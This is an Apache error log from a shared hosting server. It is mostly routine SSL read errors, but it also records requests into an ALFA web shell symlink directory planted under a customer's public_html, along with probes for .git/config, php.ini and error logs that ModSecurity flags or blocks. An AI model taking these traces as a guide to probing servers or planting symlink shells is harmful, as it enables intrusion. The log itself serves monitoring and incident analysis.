[Sat Oct 24 12:06:42.374297 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.71.203.206:18681] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:06:50.141938 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.234.197.175:12783] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:06:54.236263 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.203.111.15:62784] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:07:02.371693 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 107.23.62.75:37764] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:07:03.671210 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 85.208.96.202:50516] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:07:10.343094 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 100.29.34.97:13212] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:07:26.203937 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.192.125.239:58999] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:07:30.190279 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.147.182.90:61870] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:07:38.191006 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 98.82.59.253:35639] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS1/flags
[Sat Oct 24 12:07:47.429460 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.227.234.246:21414] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:07:50.326789 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.29.107.38:49025] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:07:54.221083 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 18.215.77.19:63698] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:08:02.220622 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 35.169.102.85:47544] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:03.0/resource4
[Sat Oct 24 12:08:11.275442 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 85.208.96.199:51674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/iptable_nat/sections/__mcount_loc
[Sat Oct 24 12:08:26.207909 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.225.87.80:19073] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:08:30.080903 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 85.208.96.204:23026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/configfs_dir_cache/objects_partial
[Sat Oct 24 12:08:30.174107 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.4.229.9:16278] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:08:58.241522 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 50.16.248.61:24508] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:09:07.967416 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 98.82.63.147:8551] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:09:10.170811 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.152.163.42:19986] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:09:14.505309 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.225.45.252:49611] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:09:26.160959 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 184.72.84.154:34856] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:09:34.219853 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.203.152.231:12795] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:09:42.166482 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 50.17.193.48:20697] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/physical_node/resource4_wc
[Sat Oct 24 12:09:50.143068 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.236.41.241:49931] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:09:56.941560 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 185.191.171.13:16624] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_node/ctor
[Sat Oct 24 12:09:58.162033 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.203.68.145:50529] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:09:59.081856 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 185.191.171.3:64788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-1k/red_zone
[Sat Oct 24 12:10:00.715593 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 85.208.96.196:44894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/ctor
[Sat Oct 24 12:10:05.445488 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 185.191.171.7:40556] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:10:05.481905 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 185.191.171.7:40566] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:10:14.161890 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 44.217.255.167:32308] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:10:30.212666 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.232.12.157:52258] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:10:42.142630 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 3.94.40.182:13121] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:10:46.164786 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.212.205.90:31379] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:10:48.974309 2026] [proxy_fcgi:error] [pid 2653689:tid 2653689] [client 195.178.110.103:21260] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 12:10:49.782209 2026] [proxy_fcgi:error] [pid 2653689:tid 2653689] [client 195.178.110.103:21260] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 12:10:50.025865 2026] [proxy_fcgi:error] [pid 2661979:tid 2661979] [client 195.178.110.103:21270] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 12:10:50.715980 2026] [proxy_fcgi:error] [pid 2661979:tid 2661979] [client 195.178.110.103:21270] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 12:10:50.947948 2026] [proxy_fcgi:error] [pid 2653689:tid 2653689] [client 195.178.110.103:21260] AH01071: Got error 'Primary script unknown', referer: http://diag1.sherwinpinturas.com/wp-links-opml.php
[Sat Oct 24 12:10:53.578304 2026] [proxy_fcgi:error] [pid 2661979:tid 2661979] [client 195.178.110.103:21270] AH01071: Got error 'Primary script unknown', referer: http://diag2.sherwinpinturas.com/wp-links-opml.php
[Sat Oct 24 12:10:54.430977 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.29.128.75:33013] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:10:58.173690 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.193.115.232:47574] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:11:10.289567 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 34.239.197.197:30060] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:11:12.787999 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 85.208.96.201:12520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/cpu_partial
[Sat Oct 24 12:11:14.377195 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 54.156.55.147:18098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.3/driver/remove_id
[Sat Oct 24 12:11:30.160852 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.91.122.193:50012] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:11:38.152495 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 3.93.211.16:18833] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:11:42.317735 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 52.203.65.83:7328] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:11:44.885997 2026] [authz_core:error] [pid 2661978:tid 2661978] [client 94.154.43.99:14724] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 12:11:45.040638 2026] [cgi:error] [pid 2627273:tid 2627273] [client 94.154.43.99:14728] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Sat Oct 24 12:11:50.154054 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 34.236.135.14:13579] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:12:06.250688 2026] [ssl:error] [pid 2666873:tid 2666873] (5)Input/output error: [client 44.212.106.171:55783] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:12:10.213375 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 23.23.103.31:20293] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:12:14.174842 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.204.81.148:62031] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:12:18.305250 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.23.112.144:49219] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:12:22.155237 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 3.210.114.189:3911] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:12:28.097401 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 185.191.171.16:35134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_data/objects
[Sat Oct 24 12:12:42.381967 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.206.249.188:55957] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:13:00.037079 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 85.208.96.197:33772] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:13:07.965292 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.8:54310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/poison
[Sat Oct 24 12:13:15.310603 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 3.214.176.44:15013] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:13:18.165370 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 52.2.4.213:14089] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/clk-lpss-atom/uevent
[Sat Oct 24 12:13:22.188881 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 98.83.177.42:10301] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:13:26.215365 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 100.29.107.38:52564] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:13:34.215661 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 52.200.54.136:49954] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:13:50.198960 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 18.214.138.148:32796] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:14:06.297703 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.217.171.106:11061] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:14:10.320879 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 85.208.96.211:27898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:14:22.140674 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.212.219.113:29630] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:14:34.461952 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 3.220.70.171:54960] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:14:42.202072 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 34.204.150.196:3502] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:14:54.257253 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 18.207.79.144:58569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:15:02.913439 2026] [security2:error] [pid 2653819:tid 2653819] [client 43.165.167.69:50116] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "atzZhtFqpkZ9T6kfBCn_wQAAAAA"]
[Sat Oct 24 12:15:10.283425 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.204.253.129:21914] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:15:14.218502 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 23.23.99.55:42834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:16/eject
[Sat Oct 24 12:15:22.278471 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.202.233.37:29503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:15:26.165564 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 18.233.24.238:30258] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/ehci-pci/new_id
[Sat Oct 24 12:15:36.466390 2026] [authz_core:error] [pid 2635677:tid 2635677] [client 109.199.118.129:41302] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 12:15:42.173307 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 3.227.180.70:15858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/console/subsystem/tty22/subsystem/ttyS1/irq
[Sat Oct 24 12:15:50.301965 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.197.76.210:51683] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:15:58.296019 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.210.223.61:58679] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:16:02.216834 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 98.83.72.38:39745] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:16:38.289949 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 18.209.137.234:53632] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:16:46.222885 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.199.252.22:65301] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:16:54.195452 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 34.231.45.47:38937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:16:58.228311 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.208.156.9:37356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:17:06.373592 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.144.185.255:38960] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:17:14.230454 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 34.234.206.30:33675] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:1d/eject
[Sat Oct 24 12:17:18.337603 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 44.208.193.63:60603] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:17:22.251231 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 18.213.240.226:27266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:00/physical_node/i2c-0/delete_device
[Sat Oct 24 12:17:30.325919 2026] [security2:error] [pid 2666873:tid 2666873] [client 172.71.164.213:10268] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzaGqpyxzGTDP3At0pyQwAAAAc"]
[Sat Oct 24 12:17:30.326200 2026] [security2:error] [pid 2666873:tid 2666873] [client 172.71.164.213:10268] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzaGqpyxzGTDP3At0pyQwAAAAc"]
[Sat Oct 24 12:17:30.326581 2026] [security2:error] [pid 2666873:tid 2666873] [client 172.71.164.213:10268] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzaGqpyxzGTDP3At0pyQwAAAAc"]
[Sat Oct 24 12:17:34.239828 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.156.124.2:58130] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:17:38.170869 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.223.193.255:56073] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:17:42.189133 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 98.83.94.113:7001] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:17:46.175707 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.202.233.37:64160] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:17:48.651203 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 85.208.96.203:18636] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/secpath_cache/destroy_by_rcu
[Sat Oct 24 12:17:50.235987 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.94.156.104:19393] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:17:54.133259 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 85.208.96.205:38290] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8k/alloc_calls
[Sat Oct 24 12:17:55.712138 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 16.216.88.136:14336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named.conf.zonedir.cache
[Sat Oct 24 12:17:58.179311 2026] [authz_core:error] [pid 2653819:tid 2653819] [client 82.108.15.43:16616] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 12:17:58.317793 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 35.173.38.202:64318] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:18:07.658065 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 185.191.171.13:51382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_perm_event/poison
[Sat Oct 24 12:18:10.218151 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 34.239.197.197:59858] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:18:11.462127 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.201:38402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/sanity_checks
[Sat Oct 24 12:18:14.300941 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.85.109.140:56505] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:18:25.320415 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 185.191.171.12:25828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/shrink
[Sat Oct 24 12:18:34.249088 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 34.194.14.255:48975] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:18:38.891412 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 85.208.96.205:53130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/seq_file/poison
[Sat Oct 24 12:18:46.505967 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 3.235.215.92:38042] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:18:50.175445 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.194.139.149:14294] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:18:54.189774 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.54.157.23:35761] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:19:18.256545 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.90.73.206:14013] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:19:19.859171 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 185.191.171.16:41522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/alloc_calls
[Sat Oct 24 12:19:22.194699 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.87.62.248:59544] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:19:26.192294 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 35.170.205.140:12441] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:19:30.188959 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.6.232.201:63195] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:19:42.327585 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.200.251.20:48446] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:19:46.378058 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 23.23.137.202:62823] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:19:50.292551 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 18.214.138.148:20775] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:20:06.193875 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.4.76.156:21023] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:20:10.177659 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 52.45.77.169:34304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/ctor
[Sat Oct 24 12:20:14.184113 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.222.85.38:8821] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:20:30.197737 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 100.25.120.246:58389] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:20:42.249008 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.221.50.71:33062] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:20:45.427996 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 185.191.171.17:43296] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:20:54.265619 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 44.196.118.6:27617] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:21:02.377045 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.3.155.146:27269] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:21:06.229882 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.200.93.170:57713] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:21:10.250975 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 107.20.181.148:18902] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:21:14.246445 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 54.225.81.20:59282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/drivers/byt_gpio/uevent
[Sat Oct 24 12:21:22.317907 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 52.45.92.83:20905] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:21:26.304760 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 98.83.94.113:19971] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:21:30.241895 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 52.201.155.215:54949] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 12:21:50.249591 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 98.82.214.73:19293] AH02013: coalesce failed to read from data bucket
